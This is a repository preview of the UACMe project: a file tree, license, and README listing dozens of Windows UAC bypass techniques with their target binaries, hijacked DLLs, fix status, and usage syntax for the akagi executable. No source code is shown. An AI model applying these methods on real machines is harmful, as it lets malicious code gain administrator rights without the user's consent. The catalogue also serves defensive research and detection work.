Full Code of hfiref0x/UACME for AI

master 6daa8d486250 cached
168 files
1.6 MB
488.8k tokens
1226 symbols
1 requests
Download .txt
Showing preview only (1,657K chars total). Download the full file or copy to clipboard to get everything.
Repository: hfiref0x/UACME
Branch: master
Commit: 6daa8d486250
Files: 168
Total size: 1.6 MB

Directory structure:
gitextract_23hrulia/

├── .gitattributes
├── Bin/
│   └── .empty
├── LICENSE.md
├── README.md
├── Source/
│   ├── Akagi/
│   │   ├── Resource.rc
│   │   ├── aic.c
│   │   ├── aic.h
│   │   ├── akagi.manifest
│   │   ├── appinfo/
│   │   │   ├── appinfo.acf
│   │   │   ├── appinfo.idl
│   │   │   ├── x64/
│   │   │   │   ├── appinfo64.c
│   │   │   │   └── appinfo64.h
│   │   │   └── x86-32/
│   │   │       ├── appinfo32.c
│   │   │       └── appinfo32.h
│   │   ├── bin/
│   │   │   ├── Akatsuki64.cd
│   │   │   ├── Fubuki32.cd
│   │   │   ├── Fubuki64.cd
│   │   │   └── Kamikaze.cd
│   │   ├── bin32res.h
│   │   ├── bin32res.rc
│   │   ├── bin64res.h
│   │   ├── bin64res.rc
│   │   ├── compress.c
│   │   ├── compress.h
│   │   ├── console.c
│   │   ├── console.h
│   │   ├── encresource.h
│   │   ├── fusutil.c
│   │   ├── fusutil.h
│   │   ├── global.h
│   │   ├── main.c
│   │   ├── makecab.c
│   │   ├── makecab.h
│   │   ├── methods/
│   │   │   ├── antonioCoco.c
│   │   │   ├── api0cradle.c
│   │   │   ├── azagarampur.c
│   │   │   ├── comsup.c
│   │   │   ├── comsup.h
│   │   │   ├── dwells.c
│   │   │   ├── elvint.h
│   │   │   ├── hakril.c
│   │   │   ├── hybrids.c
│   │   │   ├── methods.c
│   │   │   ├── methods.h
│   │   │   ├── rinn.c
│   │   │   ├── routines.h
│   │   │   ├── shellsup.c
│   │   │   ├── tyranid.c
│   │   │   ├── wusa.c
│   │   │   └── zcgonvh.c
│   │   ├── pcasvc/
│   │   │   ├── w7/
│   │   │   │   ├── pcasvc7.acf
│   │   │   │   ├── pcasvc7.idl
│   │   │   │   ├── x64/
│   │   │   │   │   ├── pcasvc7_64.c
│   │   │   │   │   └── pcasvc7_64.h
│   │   │   │   └── x86-32/
│   │   │   │       ├── pcasvc7_32.c
│   │   │   │       └── pcasvc7_32.h
│   │   │   └── w8_10/
│   │   │       ├── pcasvc.acf
│   │   │       ├── pcasvc.idl
│   │   │       ├── x64/
│   │   │       │   ├── pcasvc64.c
│   │   │       │   └── pcasvc64.h
│   │   │       └── x86-32/
│   │   │           ├── pcasvc32.c
│   │   │           └── pcasvc32.h
│   │   ├── resource.h
│   │   ├── stub.c
│   │   ├── stub.h
│   │   ├── sup.c
│   │   ├── sup.h
│   │   ├── tests/
│   │   │   ├── test.c
│   │   │   └── test.h
│   │   ├── uacme.vcxproj
│   │   ├── uacme.vcxproj.filters
│   │   ├── uacme.vcxproj.user
│   │   └── uas.h
│   ├── Akatsuki/
│   │   ├── Akatsuki.vcxproj
│   │   ├── Akatsuki.vcxproj.filters
│   │   ├── Akatsuki.vcxproj.user
│   │   ├── dllmain.c
│   │   ├── export.def
│   │   ├── resource.h
│   │   └── version.rc
│   ├── Fubuki/
│   │   ├── atldll.h
│   │   ├── dll.vcxproj
│   │   ├── dll.vcxproj.filters
│   │   ├── dll.vcxproj.user
│   │   ├── dllmain.c
│   │   ├── export.def
│   │   ├── fubuki.h
│   │   ├── pca.c
│   │   ├── pca.h
│   │   ├── resource.h
│   │   ├── uihacks.c
│   │   ├── uihacks.h
│   │   ├── version.rc
│   │   └── winmm.h
│   ├── Kamikaze/
│   │   ├── Kamikaze.msc
│   │   └── Launcher.html
│   ├── Naka/
│   │   ├── Naka.vcxproj
│   │   ├── Naka.vcxproj.filters
│   │   ├── Naka.vcxproj.user
│   │   ├── main.c
│   │   └── naka.h
│   ├── README.md
│   ├── Shared/
│   │   ├── _filename.c
│   │   ├── _filename.h
│   │   ├── _strcat.c
│   │   ├── _strcmp.c
│   │   ├── _strcmpi.c
│   │   ├── _strcpy.c
│   │   ├── _strend.c
│   │   ├── _strlen.c
│   │   ├── _strncmp.c
│   │   ├── _strncmpi.c
│   │   ├── _strncpy.c
│   │   ├── _strstri.c
│   │   ├── cmdline.c
│   │   ├── cmdline.h
│   │   ├── consts.h
│   │   ├── hde/
│   │   │   ├── hde64.c
│   │   │   ├── hde64.h
│   │   │   ├── pstdint.h
│   │   │   └── table64.h
│   │   ├── itostr.c
│   │   ├── ldr.c
│   │   ├── ldr.h
│   │   ├── libinc.h
│   │   ├── minirtl.h
│   │   ├── ntos/
│   │   │   ├── ntbuilds.h
│   │   │   ├── ntos.h
│   │   │   └── ntsxs.h
│   │   ├── rtltypes.h
│   │   ├── shared.h
│   │   ├── strtoi.c
│   │   ├── strtoul.c
│   │   ├── u64tohex.c
│   │   ├── u64tostr.c
│   │   ├── ultohex.c
│   │   ├── ultostr.c
│   │   ├── util.c
│   │   ├── util.h
│   │   ├── windefend.c
│   │   └── windefend.h
│   ├── Yuubari/
│   │   ├── Resource.rc
│   │   ├── Yuubari.vcxproj
│   │   ├── Yuubari.vcxproj.filters
│   │   ├── Yuubari.vcxproj.user
│   │   ├── appinfo.c
│   │   ├── appinfo.h
│   │   ├── basic.c
│   │   ├── basic.h
│   │   ├── comobj.c
│   │   ├── comobj.h
│   │   ├── consts.h
│   │   ├── cui.c
│   │   ├── cui.h
│   │   ├── fusion.c
│   │   ├── fusion.h
│   │   ├── global.h
│   │   ├── logger.c
│   │   ├── logger.h
│   │   ├── main.c
│   │   ├── resource.h
│   │   ├── sup.c
│   │   ├── sup.h
│   │   ├── tests/
│   │   │   ├── test_fusion.c
│   │   │   └── test_fusion.h
│   │   └── wintrustex.h
│   └── uacme.sln
└── appveyor.yml

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitattributes
================================================
# Auto detect text files and perform LF normalization
* text=auto


================================================
FILE: LICENSE.md
================================================
Copyright (c) 2014 - 2025, UACMe Project

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this
  list of conditions and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright notice,
  this list of conditions and the following disclaimer in the documentation
  and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.


================================================
FILE: README.md
================================================
[![Build status](https://img.shields.io/appveyor/build/hfiref0x/uacme?logo=appveyor)](https://ci.appveyor.com/project/hfiref0x/uacme)
![Visitors](https://api.visitorbadge.io/api/visitors?path=https%3A%2F%2Fgithub.com%2Fhfiref0x%2Fuacme&countColor=%23263759&style=flat)

# UACMe
Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor. This project demonstrates various UAC bypass techniques and serves as an educational resource for understanding Windows security mechanisms.

> ⚠️ **Warning**: This tool demonstrates security vulnerabilities that could be exploited maliciously. Use responsibly and only in controlled environments.

# System Requirements

* **Operating Systems**: Windows 7/8/8.1/10/11 (x86-32/x64, client, some methods however works on server version too)
* **User Account**: Administrator account with UAC set on default settings

## Usage

Run the executable from command line using the following syntax:

```
akagi32.exe [Method_Number] [Optional_Command]
```
or
```
akagi64.exe [Method_Number] [Optional_Command]
```
### Parameters:
* **Method_Number**: Number corresponding to the UAC bypass method (see Methods List below)
* **Optional_Command**: Full path to an executable file to run with elevated privileges
  * If omitted, the program will launch an elevated command prompt (%systemroot%\system32\cmd.exe)

### Examples:
```
akagi32.exe 23
akagi64.exe 61
akagi32.exe 23 c:\windows\system32\calc.exe
akagi64.exe 61 c:\windows\system32\charmap.exe
```


> **Note**: Since version 3.5.0, all previously "fixed" methods are considered obsolete and have been removed. If you need them, use [v3.2.x branch](https://github.com/hfiref0x/UACME/tree/v3.2.x).

<details>
  <summary>Keys (click to expand/collapse)</summary>

1. Author: Leo Davidson
   * Type: Dll Hijack
   * Method: IFileOperation
   * Target(s): \system32\sysprep\sysprep.exe
   * Component(s): cryptbase.dll
   * Implementation: ucmStandardAutoElevation   
   * Works from: Windows 7 (7600)
   * Fixed in: Windows 8.1 (9600)
      * How: sysprep.exe hardened LoadFrom manifest elements
   * Code status: removed starting from v3.5.0 :tractor:
2. Author: Leo Davidson derivative
   * Type: Dll Hijack
   * Method: IFileOperation
   * Target(s): \system32\sysprep\sysprep.exe
   * Component(s): ShCore.dll
   * Implementation: ucmStandardAutoElevation
   * Works from: Windows 8.1 (9600)
   * Fixed in: Windows 10 TP (> 9600)
      * How: Side effect of ShCore.dll moving to \KnownDlls
   * Code status: removed starting from v3.5.0 :tractor:
3. Author: Leo Davidson derivative by WinNT/Pitou
   * Type: Dll Hijack
   * Method: IFileOperation
   * Target(s): \system32\oobe\setupsqm.exe
   * Component(s): WdsCore.dll
   * Implementation: ucmStandardAutoElevation
   * Works from: Windows 7 (7600)
   * Fixed in: Windows 10 TH2 (10558)
      * How: Side effect of OOBE redesign
   * Code status: removed starting from v3.5.0 :tractor:
4. Author: Jon Ericson, WinNT/Gootkit, mzH
   * Type: AppCompat
   * Method: RedirectEXE Shim
   * Target(s): \system32\cliconfg.exe
   * Component(s): -
   * Implementation: ucmShimRedirectEXE
   * Works from: Windows 7 (7600)
   * Fixed in: Windows 10 TP (> 9600)
      * How: Sdbinst.exe autoelevation removed, KB3045645/KB3048097 for rest Windows versions
   * Code status: removed starting from v3.5.0 :tractor:
5. Author: WinNT/Simda
   * Type: Elevated COM interface
   * Method: ISecurityEditor
   * Target(s): HKLM registry keys
   * Component(s): -
   * Implementation: ucmSimdaTurnOffUac
   * Works from: Windows 7 (7600)
   * Fixed in: Windows 10 TH1 (10147)
      * How: ISecurityEditor interface method changed
   * Code status: removed starting from v3.5.0 :tractor:
6. Author: Win32/Carberp
   * Type: Dll Hijack
   * Method: WUSA
   * Target(s): \ehome\mcx2prov.exe, \system32\migwiz\migwiz.exe
   * Component(s): WdsCore.dll, CryptBase.dll, CryptSP.dll
   * Implementation: ucmWusaMethod
   * Works from: Windows 7 (7600)
   * Fixed in: Windows 10 TH1 (10147)
      * How: WUSA /extract option removed
   * Code status: removed starting from v3.5.0 :tractor:
7. Author: Win32/Carberp derivative
   * Type: Dll Hijack
   * Method: WUSA
   * Target(s): \system32\cliconfg.exe
   * Component(s): ntwdblib.dll
   * Implementation: ucmWusaMethod
   * Works from: Windows 7 (7600)
   * Fixed in: Windows 10 TH1 (10147)
      * How: WUSA /extract option removed
   * Code status: removed starting from v3.5.0 :tractor:
8. Author: Leo Davidson derivative by Win32/Tilon
   * Type: Dll Hijack
   * Method: IFileOperation
   * Target(s): \system32\sysprep\sysprep.exe
   * Component(s): Actionqueue.dll
   * Implementation: ucmStandardAutoElevation
   * Works from: Windows 7 (7600)
   * Fixed in: Windows 8.1 (9600)
      * How: sysprep.exe hardened LoadFrom manifest
   * Code status: removed starting from v3.5.0 :tractor:
9. Author: Leo Davidson, WinNT/Simda, Win32/Carberp derivative
   * Type: Dll Hijack
   * Method: IFileOperation, ISecurityEditor, WUSA
   * Target(s): IFEO registry keys, \system32\cliconfg.exe
   * Component(s): Attacker defined Application Verifier Dll
   * Implementation: ucmAvrfMethod
   * Works from: Windows 7 (7600)
   * Fixed in: Windows 10 TH1 (10147)
      * How: WUSA /extract option removed, ISecurityEditor interface method changed
   * Code status: removed starting from v3.5.0 :tractor:
10. Author: WinNT/Pitou, Win32/Carberp derivative
      * Type: Dll Hijack
      * Method: IFileOperation, WUSA
      * Target(s): \system32\\{New}or{Existing}\\{autoelevated}.exe, e.g. winsat.exe
      * Component(s): Attacker defined dll, e.g. PowProf.dll, DevObj.dll
      * Implementation: ucmWinSATMethod
      * Works from: Windows 7 (7600)
      * Fixed in: Windows 10 TH2 (10548) 
        * How: AppInfo elevated application path control hardening
      * Code status: removed starting from v3.5.0 :tractor:
11. Author: Jon Ericson, WinNT/Gootkit, mzH
      * Type: AppCompat
      * Method: Shim Memory Patch
      * Target(s): \system32\iscsicli.exe
      * Component(s): Attacker prepared shellcode
      * Implementation: ucmShimPatch
      * Works from: Windows 7 (7600)
      * Fixed in: Windows 8.1 (9600)
         * How: Sdbinst.exe autoelevation removed, KB3045645/KB3048097 for rest Windows versions
      * Code status: removed starting from v3.5.0 :tractor:
12. Author: Leo Davidson derivative
      * Type: Dll Hijack
      * Method: IFileOperation
      * Target(s): \system32\sysprep\sysprep.exe
      * Component(s): dbgcore.dll
      * Implementation: ucmStandardAutoElevation
      * Works from: Windows 10 TH1 (10240)
      * Fixed in: Windows 10 TH2 (10565)
        * How: sysprep.exe manifest updated
      * Code status: removed starting from v3.5.0 :tractor:
13. Author: Leo Davidson derivative
     * Type: Dll Hijack
     * Method: IFileOperation
     * Target(s): \system32\mmc.exe EventVwr.msc
     * Component(s): elsext.dll
     * Implementation: ucmMMCMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS1 (14316)
        * How: Missing dependency removed
      * Code status: removed starting from v3.5.0 :tractor:
14. Author: Leo Davidson, WinNT/Sirefef derivative
     * Type: Dll Hijack
     * Method: IFileOperation
     * Target(s): \system\credwiz.exe, \system32\wbem\oobe.exe
     * Component(s): netutils.dll
     * Implementation: ucmSirefefMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 TH2 (10548)
        * How: AppInfo elevated application path control hardening
      * Code status: removed starting from v3.5.0 :tractor:
15. Author: Leo Davidson, Win32/Addrop, Metasploit derivative
     * Type: Dll Hijack
     * Method: IFileOperation
     * Target(s): \system32\cliconfg.exe
     * Component(s): ntwdblib.dll
     * Implementation: ucmGenericAutoelevation
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS1 (14316)
        * How: Cliconfg.exe autoelevation removed
      * Code status: removed starting from v3.5.0 :tractor:
16. Author: Leo Davidson derivative
     * Type: Dll Hijack
     * Method: IFileOperation
     * Target(s): \system32\GWX\GWXUXWorker.exe, \system32\inetsrv\inetmgr.exe
     * Component(s): SLC.dll
     * Implementation: ucmGWX
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS1 (14316)
        * How: AppInfo elevated application path control and inetmgr executable hardening
      * Code status: removed starting from v3.5.0 :tractor:
17. Author: Leo Davidson derivative
     * Type: Dll Hijack (Import forwarding)
     * Method: IFileOperation
     * Target(s): \system32\sysprep\sysprep.exe
     * Component(s): unbcl.dll
     * Implementation: ucmStandardAutoElevation2
     * Works from: Windows 8.1 (9600)
     * Fixed in: Windows 10 RS1 (14371)
        * How: sysprep.exe manifest updated
      * Code status: removed starting from v3.5.0 :tractor:
18. Author: Leo Davidson derivative
     * Type: Dll Hijack (Manifest)
     * Method: IFileOperation
     * Target(s): \system32\taskhost.exe, \system32\tzsync.exe (any ms exe without manifest)
     * Component(s): Attacker defined
     * Implementation: ucmAutoElevateManifest
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS1 (14371)
        * How: Manifest parsing logic reviewed
      * Code status: removed starting from v3.5.0 :tractor:
19. Author: Leo Davidson derivative
     * Type: Dll Hijack
     * Method: IFileOperation
     * Target(s): \system32\inetsrv\inetmgr.exe
     * Component(s): MsCoree.dll
     * Implementation: ucmInetMgrMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS1 (14376)
        * How: inetmgr.exe executable manifest hardening, MitigationPolicy->ProcessImageLoadPolicy->PreferSystem32Images
      * Code status: removed starting from v3.5.0 :tractor:
20. Author: Leo Davidson derivative
     * Type: Dll Hijack
     * Method: IFileOperation
     * Target(s): \system32\mmc.exe, Rsop.msc
     * Component(s): WbemComn.dll
     * Implementation: ucmMMCMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS3 (16232)
        * How: Target requires wbemcomn.dll to be signed by MS
      * Code status: removed starting from v3.5.0 :tractor:
21. Author: Leo Davidson derivative
     * Type: Dll Hijack
     * Method: IFileOperation, SxS DotLocal
     * Target(s): \system32\sysprep\sysprep.exe
     * Component(s): comctl32.dll
     * Implementation: ucmSXSMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS3 (16232)
        * How: MitigationPolicy->ProcessImageLoadPolicy->PreferSystem32Images
      * Code status: removed starting from v3.5.0 :tractor:
22. Author: Leo Davidson derivative
     * Type: Dll Hijack
     * Method: IFileOperation, SxS DotLocal
     * Target(s): \system32\consent.exe
     * Component(s): comctl32.dll
     * Implementation: ucmSXSMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.5.0
23. Author: Leo Davidson derivative
     * Type: Dll Hijack
     * Method: IFileOperation
     * Target(s): \system32\pkgmgr.exe
     * Component(s): DismCore.dll
     * Implementation: ucmDismMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.5.1
24. Author: BreakingMalware
     * Type: Shell API
     * Method: Environment variables expansion
     * Target(s): \system32\CompMgmtLauncher.exe
     * Component(s): Attacker defined
     * Implementation: ucmCometMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS2 (15031)
        * How: CompMgmtLauncher.exe autoelevation removed
      * Code status: removed starting from v3.5.0 :tractor:
25. Author: Enigma0x3
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\EventVwr.exe, \system32\CompMgmtLauncher.exe
     * Component(s): Attacker defined
     * Implementation: ucmHijackShellCommandMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS2 (15031)
        * How: EventVwr.exe redesigned, CompMgmtLauncher.exe autoelevation removed
      * Code status: removed starting from v3.5.0 :tractor:
26. Author: Enigma0x3
     * Type: Race Condition
     * Method: File overwrite
     * Target(s): %temp%\GUID\dismhost.exe
     * Component(s): LogProvider.dll
     * Implementation: ucmDiskCleanupRaceCondition
     * Works from: Windows 10 TH1 (10240)
     * AlwaysNotify compatible
     * Fixed in: Windows 10 RS2 (15031)
        * How: File security permissions altered
      * Code status: removed starting from v3.5.0 :tractor:
27. Author: ExpLife
     * Type: Elevated COM interface
     * Method: IARPUninstallStringLauncher
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmUninstallLauncherMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS3 (16199)
        * How: UninstallStringLauncher interface removed from COMAutoApprovalList
      * Code status: removed starting from v3.5.0 :tractor:
28. Author: Exploit/Sandworm
     * Type: Whitelisted component
     * Method: InfDefaultInstall
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmSandwormMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 8.1 (9600)
        * How: InfDefaultInstall.exe removed from g_lpAutoApproveEXEList (MS14-060)
      * Code status: removed starting from v3.5.0 :tractor:
29. Author: Enigma0x3
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\sdclt.exe
     * Component(s): Attacker defined
     * Implementation: ucmAppPathMethod
     * Works from: Windows 10 TH1 (10240)
     * Fixed in: Windows 10 RS3 (16215)
        * How: Shell API update
      * Code status: removed starting from v3.5.0 :tractor:
30. Author: Leo Davidson derivative, lhc645
     * Type: Dll Hijack
     * Method: WOW64 logger
     * Target(s): \syswow64\\{any elevated exe, e.g wusa.exe}
     * Component(s): wow64log.dll
     * Implementation: ucmWow64LoggerMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.7.0
31. Author: Enigma0x3
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\sdclt.exe
     * Component(s): Attacker defined
     * Implementation: ucmSdcltIsolatedCommandMethod
     * Works from: Windows 10 TH1 (10240)
     * Fixed in: Windows 10 RS4 (17025)
        * How: Shell API / Windows components update
      * Code status: removed starting from v3.5.0 :tractor:
32. Author: xi-tauw
     * Type: Dll Hijack
     * Method: UIPI bypass with uiAccess application
     * Target(s): \Program Files\Windows Media Player\osk.exe, \system32\EventVwr.exe, \system32\mmc.exe
     * Component(s): duser.dll, osksupport.dll
     * Implementation: ucmUiAccessMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.7.1
33. Author: winscripting.blog
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\fodhelper.exe
     * Component(s): Attacker defined
     * Implementation: ucmShellRegModMethod
     * Works from: Windows 10 TH1 (10240)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.7.2
34. Author: James Forshaw
     * Type: Shell API
     * Method: Environment variables expansion
     * Target(s): \system32\svchost.exe via \system32\schtasks.exe
     * Component(s): Attacker defined
     * Implementation: ucmDiskCleanupEnvironmentVariable
     * Works from: Windows 8.1 (9600)
     * AlwaysNotify compatible
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.7.2
35. Author: CIA & James Forshaw
     * Type: Impersonation
     * Method: Token Manipulations
     * Target(s): Autoelevated applications
     * Component(s): Attacker defined
     * Implementation: ucmTokenModification
     * Works from: Windows 7 (7600)
     * AlwaysNotify compatible, see note
     * Fixed in: Windows 10 RS5 (17686)
        * How: ntoskrnl.exe->SeTokenCanImpersonate additional access token check added
      * Code status: removed starting from v3.5.0 :tractor:
36. Author: Thomas Vanhoutte aka SandboxEscaper
     * Type: Race condition
     * Method: NTFS reparse point & Dll Hijack
     * Target(s): wusa.exe, pkgmgr.exe
     * Component(s): Attacker defined
     * Implementation: ucmJunctionMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.7.4
37. Author: Ernesto Fernandez, Thomas Vanhoutte
     * Type: Dll Hijack
     * Method: SxS DotLocal, NTFS reparse point
     * Target(s): \system32\dccw.exe
     * Component(s): GdiPlus.dll
     * Implementation: ucmSXSDccwMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.7.5
38. Author: Clement Rouault
     * Type: Whitelisted component
     * Method: APPINFO command line spoofing
     * Target(s): \system32\mmc.exe
     * Component(s): Attacker defined
     * Implementation: ucmHakrilMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.7.6
39. Author: Stefan Kanthak
     * Type: Dll Hijack
     * Method: .NET Code Profiler
     * Target(s): \system32\mmc.exe
     * Component(s): Attacker defined
     * Implementation: ucmCorProfilerMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.7.7
40. Author: Ruben Boonen
     * Type: COM Handler Hijack
     * Method: Registry key manipulation
     * Target(s): \system32\mmc.exe, \system32\recdisc.exe
     * Component(s): Attacker defined
     * Implementation: ucmCOMHandlersMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 19H1 (18362)
        * How: Side effect of Windows changes
      * Code status: removed starting from v3.5.0 :tractor:
41. Author: Oddvar Moe
     * Type: Elevated COM interface
     * Method: ICMLuaUtil
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmCMLuaUtilShellExecMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.7.9
42. Author: BreakingMalware and Enigma0x3
     * Type: Elevated COM interface
     * Method: IFwCplLua
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmFwCplLuaMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS4 (17134)
        * How: Shell API update
      * Code status: removed starting from v3.5.0 :tractor:
43. Author: Oddvar Moe derivative
     * Type: Elevated COM interface
     * Method: IColorDataProxy, ICMLuaUtil
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmDccwCOMMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v2.8.3
44. Author: bytecode77
     * Type: Shell API
     * Method: Environment variables expansion
     * Target(s): Multiple auto-elevated processes
     * Component(s): Various per target
     * Implementation: ucmVolatileEnvMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS3 (16299)
        * How: Current user system directory variables ignored during process creation
      * Code status: removed starting from v3.5.0 :tractor:
45. Author: bytecode77
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\slui.exe
     * Component(s): Attacker defined
     * Implementation: ucmSluiHijackMethod
     * Works from: Windows 8.1 (9600)
     * Fixed in: Windows 10 20H1 (19041)
        * How: Side effect of Windows changes
      * Code status: removed starting from v3.5.0 :tractor:
46. Author: Anonymous
     * Type: Race Condition
     * Method: Registry key manipulation
     * Target(s): \system32\BitlockerWizardElev.exe
     * Component(s): Attacker defined
     * Implementation: ucmBitlockerRCMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS4 (>16299)
        * How: Shell API update
      * Code status: removed starting from v3.5.0 :tractor:
47. Author: clavoillotte & 3gstudent
     * Type: COM Handler Hijack
     * Method: Registry key manipulation
     * Target(s): \system32\mmc.exe
     * Component(s): Attacker defined
     * Implementation: ucmCOMHandlersMethod2
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 19H1 (18362)
        * How: Side effect of Windows changes
      * Code status: removed starting from v3.5.0 :tractor:
48. Author: deroko
     * Type: Elevated COM interface
     * Method: ISPPLUAObject
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmSPPLUAObjectMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS5 (17763)
        * How: ISPPLUAObject interface method changed 
      * Code status: removed starting from v3.5.0 :tractor:
49. Author: RinN
     * Type: Elevated COM interface
     * Method: ICreateNewLink
     * Target(s): \system32\TpmInit.exe
     * Component(s): WbemComn.dll
     * Implementation: ucmCreateNewLinkMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS1 (14393) 
        * How: Side effect of consent.exe COMAutoApprovalList introduction
      * Code status: removed starting from v3.5.0 :tractor:
50. Author: Anonymous
     * Type: Elevated COM interface
     * Method: IDateTimeStateWrite, ISPPLUAObject
     * Target(s): w32time service
     * Component(s): w32time.dll
     * Implementation: ucmDateTimeStateWriterMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS5 (17763)
        * How: Side effect of ISPPLUAObject interface change
      * Code status: removed starting from v3.5.0 :tractor:
51. Author: bytecode77 derivative
     * Type: Elevated COM interface
     * Method: IAccessibilityCplAdmin
     * Target(s): \system32\rstrui.exe
     * Component(s): Attacker defined
     * Implementation: ucmAcCplAdminMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS4 (17134)
        * How: Shell API update
      * Code status: removed starting from v3.5.0 :tractor:
52. Author: David Wells
     * Type: Whitelisted component
     * Method: AipNormalizePath parsing abuse
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmDirectoryMockMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -		
      * Code status: added in v3.0.4
53. Author: Emeric Nasi
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\sdclt.exe
     * Component(s): Attacker defined
     * Implementation: ucmShellRegModMethod
     * Works from: Windows 10 (14393)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.1.3
54. Author: egre55
     * Type: Dll Hijack
     * Method: Dll path search abuse
     * Target(s): \syswow64\SystemPropertiesAdvanced.exe and other SystemProperties*.exe
     * Component(s): \AppData\Local\Microsoft\WindowsApps\srrstr.dll
     * Implementation: ucmEgre55Method
     * Works from: Windows 10 (14393)
     * Fixed in: Windows 10 19H1 (18362)
        * How: SysDm.cpl!_CreateSystemRestorePage has been updated for secured load library call
      * Code status: removed starting from v3.5.0 :tractor:
55. Author: James Forshaw
     * Type: GUI Hack
     * Method: UIPI bypass with token modification
     * Target(s): \system32\osk.exe, \system32\msconfig.exe
     * Component(s): Attacker defined
     * Implementation: ucmTokenModUIAccessMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS5 (17763), a part of patch, 2024 year
        * How: When integrity level of an UIAccess token is lowered, the UIAccess property is removed
      * Code status: added in v3.1.5
56. Author: Hashim Jawad
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\WSReset.exe
     * Component(s): Attacker defined
     * Implementation: ucmShellRegModMethod2
     * Works from: Windows 10 (17134)
     * Fixed in: Windows 11 (22000)
        * How: Windows components redesign
      * Code status: removed starting from v3.5.7 :tractor:
57. Author: Leo Davidson derivative by Win32/Gapz
     * Type: Dll Hijack
     * Method: IFileOperation
     * Target(s): \system32\sysprep\sysprep.exe
     * Component(s): unattend.dll
     * Implementation: ucmStandardAutoElevation
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 8.1 (9600)
        * How: sysprep.exe hardened LoadFrom manifest elements
